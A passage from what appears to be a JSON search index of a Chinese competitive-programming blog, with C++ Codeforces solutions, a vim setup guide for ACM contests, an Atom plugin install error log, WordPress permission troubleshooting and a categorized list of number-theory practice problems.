问size最小是多少。","tags":["greedy"],"title":"codeforces  #334 div 2 B. More Cowbell","type":"post"},{"categories":["ACM"],"content":"题意是说，给定一个计算规则，求最终分数。 又傻逼了QAQ 遇到double类型一定要小心小心小心！ 虽然我觉得0.3*x一定是整数..这样子应该没问题的吧。。但还是跪了。下次有double型的数据即使是整数，可以这样写 int(x+0.5) 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月01日 星期二 23时20分45秒 4File Name :code/cf/#334/A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25 26 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=10; 34int m[N]; 35int w[10]; 36int hs,hu; 37int s[10]={500,1000,1500,2000,2500}; 38int main() 39{ 40 #ifndef ONLINE_JUDGE 41 freopen(\"code/in.txt\",\"r\",stdin); 42 #endif 43 44 for ( int i = 0 ; i \u003c 5 ; i++) scanf(\"%d\",\u0026m[i]); 45 for ( int i = 0 ; i \u003c 5 ; i++) scanf(\"%d\",\u0026w[i]); 46 scanf(\"%d %d\",\u0026hs,\u0026hu); 47 int ans = 0 ; 48 for ( int i = 0 ; i \u003c 5 ; i++) 49 { 50 ans = ans +max(s[i]*3/10,s[i]-m[i]*s[i]/250-50*w[i]); 51 // ans = ans+ max(int(0.3*s[i]),s[i]-m[i]*s[i]/250-50*w[i]); 会WA test6 52 } 53 ans = ans + hs*100; 54 ans = ans - hu*50; 55 56 cout\u003c\u003cans\u003c\u003cendl; 57 58 59 60 61 #ifndef ONLINE_JUDGE 62 fclose(stdin); 63 #endif 64 return 0; 65}","date":"2015-12-02","externalUrl":null,"permalink":"/2015/12/cf604a/","section":"Posts","summary":"题意是说，给定一个计算规则，求最终分数。 又傻逼了QAQ 遇到double类型一定要小心小心小心！","tags":["codeforces"],"title":"codeforces #334 div2 A. Uncowed Forces","type":"post"},{"categories":["ACM"],"content":"vim在ACM/ICPC中的使用 Posted on 2014年11月22日 by kuangbin Vim大法好！ 应大家的要求，写一篇博客来介绍下vim在ACM中的简单使用。 写本文的目的，只是为了给广大acmer一个入门vim的指导。不喜勿喷！ 不想看到的请远离！ vim大法好，远离sublime、cb保平安！ 从13年开始，平时写程序和比赛都是用的vim，也一直在推荐大家使用vim，至于为何要用vim，原因很多。 为何要使用vim？1) 可以装逼，vim显得高端大气上档次，现场赛你打开的是丑陋的CB，别人打开的是VIM，高下立判。 2) 用vim可以明显提高写代码的感觉，加快代码速度。3) vim大法好。 当然，前面纯粹个人胡扯，要用啥都是个人偏好而已。 下面简单介绍VIM的使用。 比赛篇 首先介绍vim在比赛使用的使用。 先大致介绍现场赛vim的配置方法。 现场赛比赛系统是ubuntu， 都是安装好了vim的。 ubuntu系统下打开终端（终端一般在左侧有了，没有就按Ctrl+Alt+T启动，然后可以锁定在左侧），打开终端输入vim就进入vim了。 配置方法是输入 vim ~/.vimrc (这样是用vim编辑配置文件，或者用 gedit ~/.vimrc 就是用gedit编辑了) 配置的话，按照自己习惯加几句配置文件就可以使用了。 我一般配置下面几个： 1syntax on 2set nu 3set tabstop=4 4set shiftwidth=4 5colo evening 6set mouse=a 7set cin 上面这几个配置的具体含义可以去百度下，有的也是可以不要的。 然后配置以后保存。VIM的配置就结束了。 然后在终端里面 输入 vim A.cpp 然后就开始写代码了。 编译运行的话，可以另外打开一个终端（就是左侧右击，然后new一个出来），就可以一边编辑，一遍保存了。 但是注意在代码编译以后，一定要 :w 来保存下，然后进行编译运行。 编译可以输入 g++ A.cpp -o A 如果没有错就可以了。 然后输入 ./A 来运行，然后输入数据啥的，退出的话是 按 Ctrl+C VIM入门篇 简明Vim练级攻略 把这上面教的VIM命令都熟悉下，差不多就可以了。 VIM命令很多，但是一开始常用的就那么几个吧，需要的指令慢慢积累就会了。 如果你的系统是WINDOWS，那可以安装一个GVIM，进行学习，用来平时写代码。 下载链接：here 进去后点击左侧的Download, 然后选择 PC: MS-DOS and MS-Windows 这个进行下载。 下载以后进行安装。 安装后桌面出现好几个快捷方式，有用的就gVim 7.4， 其余可以删除。 GVIM就直接点开就可以写了。一般是新建一个文本，改名为A.cpp, 然后打开Gvim, 把A.cpp拖入Gvim ,然后就可以进行编辑了。 Gvim的配置，就是在安装目录那有一个 _vimrc文件，编辑这个文件，在后面添加一些你自己需要的配置。 我的配置如下: (加到_vimrc后面) 1set nu 2set history=1000000 3set tabstop=4 4set shiftwidth=4 5 6set smarttab 7 8set cindent 9 10colo evening 11 12set showcmd 13 14set nobackup 15set noswapfile 16 17set mouse=a 18 19map :call CR() 20func! CR() 21exec \"w\" 22exec \"!g++ -O2 -g % -o %\u0026lt;\" 23exec \"! %\u0026lt;\" 24endfunc 25 26imap \u0026lt;c-]\u0026gt; {}O 27 28map ggVG\"+y 29 30\"inoremap ( () 31\"inoremap [ [] 32\"inoremap { {} 33\"inoremap \" \"\" 34\"inoremap ' '' 35 36map :call SetTitle() 37func SetTitle() 38let l = 0 39let l = l + 1 | call setline(l,'","date":"2015-12-01","externalUrl":null,"permalink":"/2015/12/vimacm-icpckuangbin/","section":"Posts","summary":"vim在ACM/ICPC中的使用 Posted on 2014年11月22日 by kuangbin Vim大法好！","tags":["vim"],"title":"vim在acm-icpc中的配置（转自kuangbin巨巨）","type":"post"},{"categories":["其他"],"content":"应大家的要求，写一篇博客来介绍下vim在ACM中的简单使用。 写本文的目的，只是为了给广大acmer一个入门vim的指导。不喜勿喷！ 不想看到的请远离！ vim大法好，远离sublime、cb保平安！ 从13年开始，平时写程序和比赛都是用的vim，也一直在推荐大家使用vim，至于为何要用vim，原因很多。 为何要使用vim？1) 可以装逼，vim显得高端大气上档次，现场赛你打开的是丑陋的CB，别人打开的是VIM，高下立判。 2) 用vim可以明显提高写代码的感觉，加快代码速度。3) vim大法好。 当然，前面纯粹个人胡扯，要用啥都是个人偏好而已。 下面简单介绍VIM的使用。 比赛篇 # 首先介绍vim在比赛使用的使用。 先大致介绍现场赛vim的配置方法。 现场赛比赛系统是ubuntu， 都是安装好了vim的。 ubuntu系统下打开终端（终端一般在左侧有了，没有就按Ctrl+Alt+T启动，然后可以锁定在左侧），打开终端输入vim就进入vim了。 配置方法是输入 vim ~/.vimrc (这样是用vim编辑配置文件，或者用 gedit ~/.vimrc 就是用gedit编辑了) 配置的话，按照自己习惯加几句配置文件就可以使用了。 我一般配置下面几个： C++ syntax on set nu set tabstop=4 set shiftwidth=4 colo evening set mouse=a set cin 1 \u003ctable class=\"crayon-table\" \u003e 2 \u003ctr class=\"crayon-row\" \u003e 1 2 3 4 5 6 7 syntax on set nu set tabstop=4 set shiftwidth=4 colo evening set mouse=a set cin ```cpp ``` 上面这几个配置的具体含义可以去百度下，有的也是可以不要的。 然后配置以后保存。VIM的配置就结束了。 然后在终端里面 输入 vim A.cpp 然后就开始写代码了。 编译运行的话，可以另外打开一个终端（就是左侧右击，然后new一个出来），就可以一边编辑，一遍保存了。 但是注意在代码编译以后，一定要 :w 来保存下，然后进行编译运行。 编译可以输入 g++ A.cpp -o A 如果没有错就可以了。 然后输入 ./A 来运行，然后输入数据啥的，退出的话是 按 Ctrl+C VIM入门篇 # 简明Vim练级攻略 把这上面教的VIM命令都熟悉下，差不多就可以了。 VIM命令很多，但是一开始常用的就那么几个吧，需要的指令慢慢积累就会了。 如果你的系统是WINDOWS，那可以安装一个GVIM，进行学习，用来平时写代码。 下载链接：here 进去后点击左侧的Download, 然后选择 PC: MS-DOS and MS-Windows 这个进行下载。 下载以后进行安装。 安装后桌面出现好几个快捷方式，有用的就gVim 7.4， 其余可以删除。 GVIM就直接点开就可以写了。一般是新建一个文本，改名为A.cpp, 然后打开Gvim, 把A.cpp拖入Gvim ,然后就可以进行编辑了。 Gvim的配置，就是在安装目录那有一个 _vimrc文件，编辑这个文件，在后面添加一些你自己需要的配置。 我的配置如下: (加到_vimrc后面) C++ set nu set history=1000000 set tabstop=4 set shiftwidth=4 set smarttab set cindent colo evening set showcmd set nobackup set noswapfile set mouse=a map :call CR() func! CR() exec “w” exec “!g++ -O2 -g % -o %\u003c” exec “! %\u003c” endfunc imap \u003cc-]\u003e {}O map ggVG\"+y “inoremap ( () “inoremap [ [] “inoremap { {} “inoremap \" “\" “inoremap ’ ‘’ map :call SetTitle() func SetTitle() let l = 0 let l = l + 1","date":"2015-12-01","externalUrl":null,"permalink":"/2015/12/test/","section":"Posts","summary":"应大家的要求，写一篇博客来介绍下vim在ACM中的简单使用。 写本文的目的，只是为了给广大acmer一个入门vim的指导。不喜勿喷！ 不想看到的请远离！","tags":["算法竞赛"],"title":"test","type":"post"},{"categories":["其他"],"content":"1gyp info it worked if it ends with ok 2gyp info using node-gyp@2.0.2 3gyp info using node@0.10.40 | linux | x64 4gyp http GET https://atom.io/download/atom-shell/v0.34.0/node-v0.34.0.tar.gz 5gyp WARN install got an error, rolling back install 6gyp ERR! install error 7gyp ERR! stack Error: This is most likely not a problem with node-gyp or the package itself and 8gyp ERR! stack is related to network connectivity. In most cases you are behind a proxy or have bad 9gyp ERR! stack network settings. 10gyp ERR! stack at Request.\u003canonymous\u003e (/opt/atom/resources/app/apm/node_modules/npm/node_modules/node-gyp/lib/install.js:234:21) 11gyp ERR! stack at Request.emit (events.js:95:17) 12gyp ERR! stack at Request.onRequestError (/opt/atom/resources/app/apm/node_modules/npm/node_modules/request/request.js:861:8) 13gyp ERR! stack at ClientRequest.emit (events.js:95:17) 14gyp ERR! stack at Socket.socketErrorListener (http.js:1548:9) 15gyp ERR! stack at Socket.emit (events.js:95:17) 16gyp ERR! stack at net.js:834:16 17gyp ERR! stack at process._tickCallback (node.js:448:13) 18gyp ERR! System Linux 3.16.0-38-generic 19gyp ERR! command \"/opt/atom/resources/app/apm/bin/node\" \"/opt/atom/resources/app/apm/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js\" \"install\" \"--target=0.34.0\" \"--dist-url=https://atom.io/download/atom-shell\" \"--arch=x64\" \"--ensure\" 20gyp ERR! cwd /home/rkz2013/.atom 21gyp ERR! node -v v0.10.40 22gyp ERR! node-gyp -v v2.0.2 23gyp ERR! not ok 解决办法是不用apm install 而是用npm install…之前要安装一个npm sudo apt-get install npm 即可。 rkz2013@111qqz-ThinkPad-X200 ~/.atom/packages/activate-power-mode $ npm install npm http GET https://registry.npmjs.org/lodash.throttle npm http 200 https://registry.npmjs.org/lodash.throttle npm http GET https://registry.npmjs.org/lodash.throttle/-/lodas","date":"2015-11-30","externalUrl":null,"permalink":"/2015/12/atomlinux/","section":"Posts","summary":"1gyp info it worked if it ends with ok 2gyp info using node-gyp@2.0.2 3gyp info using node@0.10.40 | linux | x64 4gyp http GET https://atom.io/download/atom-shell/v0.34.0/node-v0.34.0.tar.gz 5gyp WARN install got an error, rolling back install 6gyp ERR! install error 7gyp ERR! stack Error: This is most likely not a problem with node-gyp or the package itself and 8gyp ERR! stack is related to network connectivity. In most cases you are behind a proxy or have bad 9gyp ERR! stack network settings. 10gyp ERR! stack at Request.\u003canonymous\u003e (/opt/atom/resources/app/apm/node_modules/npm/node_modules/node-gyp/lib/install.js:234:21) 11gyp ERR! stack at Request.emit (events.js:95:17) 12gyp ERR! stack at Request.onRequestError (/opt/atom/resources/app/apm/node_modules/npm/node_modules/request/request.js:861:8) 13gyp ERR! stack at ClientRequest.emit (events.js:95:17) 14gyp ERR! stack at Socket.socketErrorListener (http.js:1548:9) 15gyp ERR! stack at Socket.emit (events.js:95:17) 16gyp ERR! stack at net.js:834:16 17gyp ERR! stack at process._tickCallback (node.js:448:13) 18gyp ERR! System Linux 3.16.0-38-generic 19gyp ERR! command \"/opt/atom/resources/app/apm/bin/node\" \"/opt/atom/resources/app/apm/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js\" \"install\" \"--target=0.34.0\" \"--dist-url=https://atom.io/download/atom-shell\" \"--arch=x64\" \"--ensure\" 20gyp ERR! cwd /home/rkz2013/.atom 21gyp ERR! node -v v0.10.40 22gyp ERR! node-gyp -v v2.0.2 23gyp ERR! not ok 解决办法是不用apm install 而是用npm install…之前要安装一个npm","tags":["atom","linux"],"title":"atom在linux下安装插件失败的解决方案","type":"post"},{"categories":["其他"],"content":"终于解决了。 的确是权限问题。 但是由于初始化的时候，我错误的设置了数据库目录。应该为/alidata/www/serve/mysql ，而我设置成了/home/mysql 之前一直是在改alidata下的权限…现在可以了QAQ","date":"2015-11-30","externalUrl":null,"permalink":"/2015/11/wordpress/","section":"Posts","summary":"终于解决了。 的确是权限问题。 但是由于初始化的时候，我错误的设置了数据库目录。应该为/alidata/www/serve/mysql ，而我设置成了/home/mysql","tags":["codeforces","dp","acm","其他"],"title":"wordpress无法创建目录/没有写权限的解决方案","type":"post"},{"categories":["其他"],"content":"然而不能上传… 插件也是。在线安装也不可以。 google遍了只看到说是权限问题。 然而wp-content整个目录都已经chmod 777了…依然不可以。 日了狗了。","date":"2015-11-29","externalUrl":null,"permalink":"/2015/11/%e5%8d%9a%e5%ae%a2%e7%ae%97%e6%98%af%e6%90%ad%e5%a5%bd%e4%ba%86%ef%bc%9f/","section":"Posts","summary":"然而不能上传… 插件也是。在线安装也不可以。 google遍了只看到说是权限问题。","tags":["算法竞赛"],"title":"博客算是搭好了？","type":"post"},{"categories":["其他"],"content":"欢迎使用WordPress。这是您的第一篇文章。编辑或删除它，然后开始写作吧！","date":"2015-11-29","externalUrl":null,"permalink":"/2015/11/hello-world/","section":"Posts","summary":"欢迎使用WordPress。这是您的第一篇文章。编辑或删除它，然后开始写作吧！","tags":["算法竞赛"],"title":"世界，您好！","type":"post"},{"categories":["ACM"],"content":"从放暑假前周sir给我讲了一个用polya计数法和burnside定理做的题目（pku2409）后，突然觉得组合数学挺有意思，然后从那时起到现在几乎都在做这类的题目。 做到现在感觉这类题目的一些基本知识点都差不多有所了解了，水题也刷了不少，但还有很多难题自己实在是做不动，所以准备把这类题目先放一放，然后把前段时间做的水题整理一下（供以后的初学者参考，大牛就不要看了哈，都是水题）。剩下的比较难的题目就慢慢来吧，以后做出来再不上，这个小结会不断地更新。也希望大家有好的题目可以推荐一下，分享一下哈。 感谢：周sir，J_factory和福州大学神牛aekdycoin，大连理工大学神牛czyuan。 不扯了，进入主题： 1.burnside定理，polya计数法 这个专题我单独写了个小结，大家可以简单参考一下：polya 计数法，burnside定理小结 2.置换，置换的运算 置换的概念还是比较好理解的，《组合数学》里面有讲。对于置换的幂运算大家可以参考一下潘震皓的那篇《置换群快速幂运算研究与探讨》，写的很好。 *简单题：（应该理解概念就可以了） pku3270 Cow Sorting http://acm.pku.edu.cn/JudgeOnline/problem?id=3270 pku1026 Cipher http://acm.pku.edu.cn/JudgeOnline/problem?id=1026 *置换幂运算： pku1721 CARDS http://162.105.81.212/JudgeOnline/problem?id=1721 pku3128 Leonardo’s Notebook http://162.105.81.212/JudgeOnline/problem?id=3128 *推荐：（不错的应用） pku3590 The shuffle Problem http://162.105.81.212/JudgeOnline/problem?id=3590 3.素数，整数分解，欧拉函数 素数是可能数论里最永恒，最经典的问题了（我们的队名就叫PrimeMusic^-^）。素数的判断，筛法求素数，大素数的判断···还有很多其他问题都会用到素数。 *最水最水的：（心情不爽时用来解闷吧） pku1365 Prime Land pku2034 Anti-prime Sequences pku2739 Sum of Consecutive Prime Numbers pku3518 Prime Gap pku3126 Prime Path pku1595 Prime Cuts pku3641 Pseudoprime numbers pku2191 Mersenne Composite Numbers pku1730 Perfect Pth Powers pku2262 Goldbach’s Conjecture pku2909 Goldbach’s Conjecture *筛法： pku2689 Prime Distance（很好的一个应用） http://162.105.81.212/JudgeOnline/problem?id=2689 *反素数： zoj2562 More Divisors http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemCode=2562 *素数判断，整数分解： 这两题都要用到miller_rabin的素数判断和pollard_rho的整数分解，算法书上都会有，应该是属于模板题吧，不过最好看懂自己敲一遍。 pku1811 Prime Test http://acm.pku.edu.cn/JudgeOnline/problem?id=1811 pku2429 GCD \u0026 LCM Inverse http://acm.pku.edu.cn/JudgeOnline/problem?id=2429 *欧拉函数： 数论里很多地方都能用到欧拉函数，很重要的。 pku1284 Primitive Roots （很水） http://acm.pku.edu.cn/JudgeOnline/problem?id=1284 pku2407 Relatives （很","date":"2015-11-29","externalUrl":null,"permalink":"/2015/11/bykuangbin/","section":"Posts","summary":"从放暑假前周sir给我讲了一个用polya计数法和burnside定理做的题目（pku2409）后，突然觉得组合数学挺有意思，然后从那时起到现在几乎都在做这类的题目。 做到现在感觉这类题目的一些基本知识点都差不多有所了解了，水题也刷了不少，但还有很多难题自己实在是做不动，所以准备把这类题目先放一放，然后把前段时间做的水题整理一下（供以后的初学者参考，大牛就不要看了哈，都是水题）。剩下的比较难的题目就慢慢来吧，以后做出来再不上，这个小结会不断地更新。也希望大家有好的题目可以推荐一下，分享一下哈。 感谢：周sir，J_factory和福州大学神牛aekdycoin，大连理工大学神牛czyuan。 不扯了，进入主题： 1.burnside定理，polya计数法 这个专题我单独写了个小结，大家可以简单参考一下：polya 计数法，burnside定理小结 2.置换，置换的运算 置换的概念还是比较好理解的，《组合数学》里面有讲。对于置换的幂运算大家可以参考一下潘震皓的那篇《置换群快速幂运算研究与探讨》，写的很好。 *简单题：（应该理解概念就可以了） pku3270 Cow Sorting http://acm.pku.edu.cn/JudgeOnline/problem?id=3270 pku1026 Cipher http://acm.pku.edu.cn/JudgeOnline/problem?id=1026 *置换幂运算： pku1721 CARDS http://162.105.81.212/JudgeOnline/problem?id=1721 pku3128 Leonardo’s Notebook http://162.105.81.212/JudgeOnline/problem?id=3128 *推荐：（不错的应用） pku3590 The shuffle Problem http://162.105.81.212/JudgeOnline/problem?id=3590 3.素数，整数分解，欧拉函数 素数是可能数论里最永恒，最经典的问题了（我们的队名就叫PrimeMusic^-^）。素数的判断，筛法求素数，大素数的判断···还有很多其他问题都会用到素数。 *最水最水的：（心情不爽时用来解闷吧） pku1365 Prime Land pku2034 Anti-prime Sequences pku2739 Sum of Consecutive Prime Numbers pku3518 Prime Gap pku3126 Prime Path pku1595 Prime Cuts pku3641 Pseudoprime numbers pku2191 Mersenne Composite Numbers pku1730 Perfect Pth Powers pku2262 Goldbach’s Conjecture pku2909 Goldbach’s Conjecture *筛法： pku2689 Prime Distance（很好的一个应用） http://162.105.81.212/JudgeOnline/problem?id=2689 *反素数： zoj2562 More Divisors http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemCode=2562 *素数判断，整数分解： 这两题都要用到miller_rabin的素数判断和pollard_rho的整数分解，算法书上都会有，应该是属于模板题吧，不过最好看懂自己敲一遍。 pku1811 Prime Test http://acm.pku.edu.cn/JudgeOnline/problem?id=1811 pku2429 GCD \u0026 LCM Inverse http://acm.pku.edu.cn/JudgeOnline/problem?id=2429 *欧拉函数： 数论里很多地方都能用到欧拉函数，很重要的。 pku1284 Primitive Roots （很水） http://acm.pku.edu.cn/JudgeOnline/problem?id=1284 pku2407 Relatives （很水） http://acm.pku.edu.cn/JudgeOnline/problem?id=2407 pku2773 Happy 2006 http://162.105.81.212/JudgeOnline/problem?id=2773 pku2478 Farey Sequence （快速求欧拉函数） http://162.105.81.212/JudgeOnline/problem?id=2478 pku3090 Visible Lattice Points （法雷级数） http://acm.pku.edu.cn/JudgeOnline/problem?id=3090 *推荐：（欧拉函数，费马小定理） pku3358 Period of an Infinite Binary Expansion http://acm.pku.edu.cn/JudgeOnline/problem?id=3358 *整数分解 这个也很重要的耶，包括大数的表示方法。 pku2992 Divisors http://acm.pku.edu.cn/JudgeOnline/problem?id=2992 fzu1753 Another Easy Problem http://acm.fzu.edu.cn/problem.php?pid=1753 hit2813 Garden visiting http://acm-hit.sunner.cn/judge/show.php?Proid=2813 pku3101 Astronomy （分数的最小公倍数） http://acm.pku.edu.cn/JudgeOnline/problem?id=3101 4.扩展欧几里得，线性同余，中国剩余定理 这应该是数论里比较重要的一个部分吧，这类的题目也挺多，具体的内容最好先看看数论书，我也整理过一些，可以参考参考： http://hi.baidu.com/shw/blog/item/0676025d56a87d4afbf2c093.html *简单题： pku1006 Biorhythms http://acm.pku.edu.cn/JudgeOnline/problem?id=1006 pku1061 青蛙的约会 http://acm.pku.edu.cn/JudgeOnline/problem?id=1061 pku2891 Strange Way to Express Integers http://acm.pku.edu.cn/JudgeOnline/problem?id=2891 pku2115 C Looooops http://acm.pku.edu.cn/JudgeOnline/problem?id=2115 pku2142 The Balance http://162.105.81.212/JudgeOnline/problem?id=2142 *强烈推荐： sgu106 The equation http://acm.sgu.ru/problem.php?contest=0\u0026problem;=106 pku3708 Recurrent Function （经典） http://acm.pku.edu.cn/JudgeOnline/problem?id=3708 5.约瑟夫环问题 这个问题还是比较有意思的，不是很难。 *简单题： pku3517 And Then There Was One http://acm.pku.edu.cn/JudgeOnline/problem?id=3517 pku1781 In Danger http://acm.pku.edu.cn/JudgeOnline/problem?id=1781 pku1012 Joseph http://162.105.81.212/JudgeOnline/problem?id=1012 pku2244 Eeny Meeny Moo http://162.105.81.212/JudgeOnline/problem?id=2244 *推荐： pku2886 Who Gets the Most Candies? http://162.105.81.212/JudgeOnline/problem?id=2886 6.高斯消元法解方程 其实解方程并不是很难，就是按线性代数中学的那种方法，把系数矩阵化成上三角矩阵或数量矩阵，不过有些题目要判断是否有解，或枚举所有解。不过这类题目我认为比较难的还是怎么去建立这个方程组，这个理解了，就没什么大问题了。 *简单题： pku1222 EXTENDED LIGHTS OUT http://162.105.81.212/JudgeOnline/problem?id=1222 pku1681 Painter’s Problem http://162.105.81.212/JudgeOnline/problem?id=1681 pku1830 开关问题 http://162.105.81.212/JudgeOnline/problem?id=1830 *推荐： pku2947 Widget Factory http://162.105.81.212/JudgeOnline/problem?id=2947 pku2065 SETI http://162.105.81.212/JudgeOnline/problem?id=2065 *强烈推荐： pku1753 Flip Game http://162.105.81.212/JudgeOnline/problem?id=1753 pku3185 The Water Bowls http://162.105.81.212/JudgeOnline/problem?id=3185 *变态题： pku1487 Single-Player Games http://162.105.81.212/JudgeOnline/problem?id=1487 7.矩阵 用矩阵来解决问题确实很常见，但我现在用到还不是很好，很多难题我还不会做。建议大家可以去看Matrix67的那篇关于矩阵的十个问题，确实很经典，但不太好看懂。 *简单： pku3070 Fibonacci http://162.105.81.212/JudgeOnline/problem?id=3070 pku3233 Matrix Power Series http://162.105.81.212/JudgeOnline/problem?id=3233 pku3735 Training little cats http://162.105.81.212/JudgeOnline/problem?id=3735 8.高次同余方程 有关这个问题我应该是没什么发言权了，A^B%C=D，我现在只会求D和B，唉，很想知道A该怎么求。就先推荐几道题目吧，这里涉及到了一个baby-step，giant-step算法。 fzu1759 Super A^B mod C http://acm.fzu.edu.cn/problem.php?pid=1759 pku3243 Clever Y http://162.105.81.212/JudgeOnline/problem?id=3243 pku2417 Discrete Logging http://162.105.81.212/JudgeOnline/problem?id=2417 hdu2815 Mod Tree http://acm.hdu.edu.cn/showproblem.php?pid=2815 9.容斥原理，鸽巢原理 很有用的两个定理，但好像单独考这两个定理的不是很多。 *鸽巢原理： pku2365 Find a multiple http://162.105.81.212/JudgeOnline/problem?id=2356 pku3370 Halloween treats http://162.105.81.212/JudgeOnline/problem?id=3370 *容斥原理： hdu1695 GCD http://acm.hdu.edu.cn/showproblem.php?pid=1695 hdu2461 Rectangles http://acm.hdu.edu.cn/showproblem.php?pid=2461 10.找规律，推公式 这类题目的设计一般都非常巧妙，真的是很难想出来，但只要找到规律或推出公式，就不是很难了。我很多都是在参考别人思路的情况下做的，能自己想出来真的很不容易。 *个人感觉都挺不错的： pku3372 Candy Distribution http://162.105.81.212/JudgeOnline/problem?id=3372 pku3244 Difference between Triplets http://162.105.81.212/JudgeOnline/problem?id=3244 pku1809 Regetni http://162.105.81.212/JudgeOnline/problem?id=1809 pku1831 不定方程组 http://162.105.81.212/JudgeOnline/problem?id=1831 pku1737 Connected Graph http://162.105.81.212/JudgeOnline/problem?id=1737 pku2480 Longge’s problem http://162.105.81.212/JudgeOnline/problem?id=2480 pku1792 Hexagonal Routes http://acm.pku.edu.cn/JudgeOnline/problem?id=1792 11.排列组合，区间计数，计数序列 这些题目可能需要一些组合数学知识，基本上高中的知识就够了。区间计数问题一般不难，但写的时候需要仔细一些，各种情况要考虑到位。至于像卡特兰数，差分序列，斯特灵数···都还挺有意思，可以去看看《组合数学》。 *简单题： pku1850 Code http://162.105.81.212/JudgeOnline/problem?id=1850 pku1150 The Last Non-zero Digit http://162.105.81.212/JudgeOnline/problem?id=1150 pku1715 Hexadecimal Numbers http://162.105.81.212/JudgeOnline/problem?id=1715 pku2282 The Counting Problem http://162.105.81.212/JudgeOnline/problem?id=2282 pku3286 How many 0’s? http://162.105.81.212/JudgeOnline/problem?id=3286 *推荐： pku3252 Round Numbers http://162.105.81.212/JudgeOnline/problem?id=3252 *计数序列： pku1430 Binary Stirling Numbers http://162.105.81.212/JudgeOnline/problem?id=1430 pku2515 Birthday Cake http://acm.pku.edu.cn/JudgeOnline/problem?id=2515 pku1707 Sum of powers http://acm.pku.edu.cn/JudgeOnline/problem?id=1707 12.二分法 二分的思想还是很重要的，这里就简单推荐几个纯粹的二分题。 *简单： pku3273 Monthly Expense http://162.105.81.212/JudgeOnline/problem?id=3273 pku3258 River Hopscotch http://162.105.81.212/JudgeOnline/problem?id=3258 pku1905 Expanding Rods http://162.105.81.212/JudgeOnline/problem?id=1905 pku3122 Pie http://162.105.81.212/JudgeOnline/problem?id=3122 *推荐： pku1845 Sumdiv http://acm.pku.edu.cn/JudgeOnline/problem?id=1845 13.稳定婚姻问题 无意中接触到这个算法，还蛮有意思的，《组合数学》中有详细的介绍。 pku3487 The Stable Marriage Problem http://acm.pku.edu.cn/JudgeOnline/problem?id=3487 zoj1576 Marriage is Stable http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemCode=1576 14.数位类统计问题 在航点月赛中第一次接触到这类问题，scau大牛little龙推荐我看了一篇论文，09年刘聪的《浅谈数位类统计问题》，这篇论文相当精彩，也相当详细，每道题都有详细的分析和作者的参考代码。所以我也没什么可说的了，这些题的代码我博客里也就不贴了，大家直接去看论文吧。 简单： ural1057 Amount of degrees http://acm.timus.ru/problem.aspx?space=1#=1057 spoj1182 Sorted bit squence https://www.spoj.pl/problems/SORTBIT/ hdu3271 SNIBB http://acm.hdu.edu.cn/showproblem.php?pid=3271 较难： spoj2319 Sequence https://www.spoj.pl/problems/BIGSEQ/ sgu390 Tickets http://acm.sgu.ru/problem.php?contest=0\u0026problem;=390 以上分类的题目在我的博客里都可以找到详细的解题报告和参考代码，由于比较麻烦就没加链接，需要的可以用我的站内搜索找到。 本小结会不断更新，转载请注明出处。 严重声明：本文只适合ACM初学者，路过的大牛如有相同类型的比较好的题目可以推荐一些啊。 来自: http://hi.baidu.com/shw/blog/item/5305e12c7289973e359bf768.html","tags":["算法竞赛"],"title":"数学专题 by kuangbin","type":"post"},{"categories":["ACM"],"content":"https://icpcarchive.ecs.baylor.edu/index.php?option=com_onlinejudge\u0026Itemid;=8\u0026page;=show_problem\u0026problem;=4704 题目大意是说，定义一个数的lucky number是距离i最远的j且满足（a[i]\u003ca[j] i\u003cj）。 问对所有数最大的lucky number是什么。 不必线段树。 我们可以先处理出a[i]的最远点。倒着扫一遍即可。 然后可以处理出大于等于a[i]的最远位置。 1/************************************************************************* 2 \u003e File Name: code/hust/20151115/A.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年11月23日 星期一 22时13分15秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21#define fst first 22#define sec second 23#define lson l,m,rt\u003c\u003c1 24#define rson m+1,r,rt\u003c\u003c1|1 25#define ms(a,x) memset(a,x,sizeof(a)) 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int N=1E5+6; 31typedef long long LL; 32int a[N]; 33int n; 34int p[N]; 35const int inf = 0x3f3f3f3f; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"in.txt\",\"r\",stdin); 40 #endif 41 42 int T; 43 scanf(\"%d\",\u0026T); 44 while (T--) 45 { 46 scanf(\"%d\",\u0026n); 47 int mx = -1; 48 for ( int i = 1 ; i \u003c= n ; i++ ) scanf(\"%d\",\u0026a[i]),mx = max(mx,a[i]); 49 50 51 ms(p,-1); 52 for ( int i = 1 ; i \u003c= n ; i++) 53 p[a[i]] = max(p[a[i]],i); //最远的a[i]的位置 54 for ( int i = mx ; i \u003e= 1 ; i--) 55 p[i] = max(p[i],p[i+1]);//cout\u003c\u003c\"p[i]:\"\u003c\u003cp[i]\u003c\u003cendl; //最远的\u003e= a[i]的位置 56 57 int ans = 0; 58 for ( int i = 1 ; i \u003c= n ; i++) 59 ans = max(ans,p[a[i]+1]-i); 60 printf(\"%d\\n\",ans); 